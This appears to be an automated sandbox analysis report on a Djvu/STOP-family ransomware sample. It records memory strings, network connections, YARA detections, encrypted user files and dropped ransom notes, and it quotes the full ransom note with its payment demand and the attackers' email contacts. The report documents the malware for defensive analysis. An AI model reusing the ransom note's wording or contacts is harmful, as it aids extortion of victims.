Source: lzShU2RYJa.exe, 00000004.00000002.2199926746.0000000000878000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2198525973.0000000000877000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2144496250.000000000087A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2199555407.000000000085D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077208992.000000000087A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4098404527.000000000069A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000683000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.17.209.196:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49753 version: TLS 1.2

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 1_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

1_2_004822E0

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\Users\user\AppData\Local\VirtualStore\_README.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.Do not ask assistants from youtube and recovery data sites for help in recovering your data.They can use your free decryption quota and scam you.Our contact is emails in this text document only.You can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27Price of private key and decrypt software is $999.Discount 50% available if you contact us first 72 hours, that's price for you is $499.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@freshingmail.topReserve e-mail address to contact us:datarestorehelpyou@airmail.ccYour personal ID:0864PsawqSitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: lzShU2RYJa.exe PID: 7464, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lzShU2RYJa.exe PID: 7540, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 5.2.lzShU2RYJa.exe.5f215a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.lzShU2RYJa.exe.5f215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.lzShU2RYJa.exe.5e615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.lzShU2RYJa.exe.5de15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lzShU2RYJa.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.lzShU2RYJa.exe.5e215a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.lzShU2RYJa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.lzShU2RYJa.exe.5e015a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.lzShU2RYJa.exe.5de15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.lzShU2RYJa.exe.5e015a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.lzShU2RYJa.exe.5e615a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.lzShU2RYJa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1811861387.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1678165141.0000000005F20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2074026012.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lzShU2RYJa.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lzShU2RYJa.exe PID: 7344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lzShU2RYJa.exe PID: 7448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lzShU2RYJa.exe PID: 7464, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lzShU2RYJa.exe PID: 7472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lzShU2RYJa.exe PID: 7540, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lzShU2RYJa.exe PID: 7780, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lzShU2RYJa.exe PID: 7832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lzShU2RYJa.exe PID: 7320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lzShU2RYJa.exe PID: 7432, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File moved: C:\Users\user\Desktop\DTBZGIOOSO\KATAXZVCPS.mp3	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File deleted: C:\Users\user\Desktop\DTBZGIOOSO\KATAXZVCPS.mp3	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File moved: C:\Users\user\Desktop\DVWHKMNFNN.jpg	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File deleted: C:\Users\user\Desktop\DVWHKMNFNN.jpg	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File moved: C:\Users\user\Desktop\NWTVCDUMOB.png	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt -> decryption settings;change encryption settings"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevices.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevices"},"system.comment":{"type":12,"value":"bluetooth and other devices settings"},"system.highkeywords":{"type":12,"value":"device;projector;projectors;pair bluetooth device;unpair device;pair device;bluetooth settings;add bluetooth device;add device"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevicespen-2.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevicespen"},"system.comment":{"type":12,"value":"pen and windows ink settings"},"system.highkeywords":{"type":12,"value":"pens;handedness;cursor;cursors;writing;write;workspace;pen shortcuts;h	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt -> decrypter\dvddecrypter.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\renderdoc\qrenderdoc.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\microsoft system center 2012 r2\service manager\microsoft.enterprisemanagement.servicemanager.ui.console.exe12438microsoft.appv.603b45325cf2a147a217bc0826e85cce12439{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\pro evolution soccer 2018\pes2018.exe12439c:\ignition\ignitioncasino.exe12440{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\splashdata\splashid safe\splashid safe.exe12440{6d809377-6af0-444b-8957-a3773f02200e}\native instruments\komplete kontrol\komplete kontrol.exe1244025342asdf3333.stoppuhrtimer_1xbryz0n7krfa!app12441{6d809377-6af0-444b-8957-a3773f02200e}\owasp\zed attack proxy\zap.exe12441{6d809377-6af0-444b-8957-a3773f02200e}\dell\toad for oracle 2015 r2 suite\toad for oracle 12.8\toad.exe12441{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\mysql\mysql workbench 6.0 ce\mysqlworkbench.exe12441212377tik.7tik-tiktokforwindows_da70t93mgq52j!app12442{7c	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	File dropped: C:\Users\user\AppData\Local\VirtualStore\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	File dropped: C:\Users\user\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log entropy: 7.99401621644	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt entropy: 7.99832044552	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml entropy: 7.99641547826	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584511275496840.txt entropy: 7.99837736654	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945538176941.txt entropy: 7.99820017681	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt entropy: 7.99845153552	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt entropy: 7.99857423178	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt entropy: 7.99850194334	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt entropy: 7.99840064471	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt entropy: 7.99842910467	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt entropy: 7.99837329348	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl entropy: 7.99725475425	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml entropy: 7.99543547011	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json entropy: 7.9988359311	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite entropy: 7.99848855093	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt entropy: 7.99322932768	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99754766214	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.99654093979	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat entropy: 7.99141602348	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\setup32.exe_Rules.xml entropy: 7.99862820155	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.994618161	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.session entropy: 7.99020555347	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.99301668191	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99326420254	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.99405140775	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db entropy: 7.99810454407	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db entropy: 7.99795588332	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db entropy: 7.99666857347	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db entropy: 7.9976742373	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl entropy: 7.99359275554	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db entropy: 7.99306368748	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log entropy: 7.99790799048	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1 entropy: 7.9986464112	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2 entropy: 7.99427927871	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2 entropy: 7.99768869423	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4 entropy: 7.99853865734	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{afd7447d-251c-4f2e-8098-c7f03e349264}\Apps.ft entropy: 7.99634107563	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{afd7447d-251c-4f2e-8098-c7f03e349264}\0.0.filtertrie.intermediate.txt entropy: 7.99454601242	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.ft entropy: 7.99650001918	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\0.0.filtertrie.intermediate.txt entropy: 7.99557253877	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c30d9863-e472-42e6-befb-171165e19517}\Apps.ft entropy: 7.99596140001	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c30d9863-e472-42e6-befb-171165e19517}\0.0.filtertrie.intermediate.txt entropy: 7.99500165292	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt entropy: 7.9982087562	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt entropy: 7.99596769859	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.bgzq (copy) entropy: 7.99322932768	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgzq (copy) entropy: 7.99754766214	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgzq (copy) entropy: 7.99654093979	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.bgzq (copy) entropy: 7.99141602348	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\16.0\setup32.exe_Rules.xml.bgzq (copy) entropy: 7.99862820155	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgzq (copy) entropy: 7.994618161	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.session.bgzq (copy) entropy: 7.99020555347	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgzq (copy) entropy: 7.99301668191	Jump to dropped file
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgzq (copy) entropy: 7.99326420254	Jump to dropped file
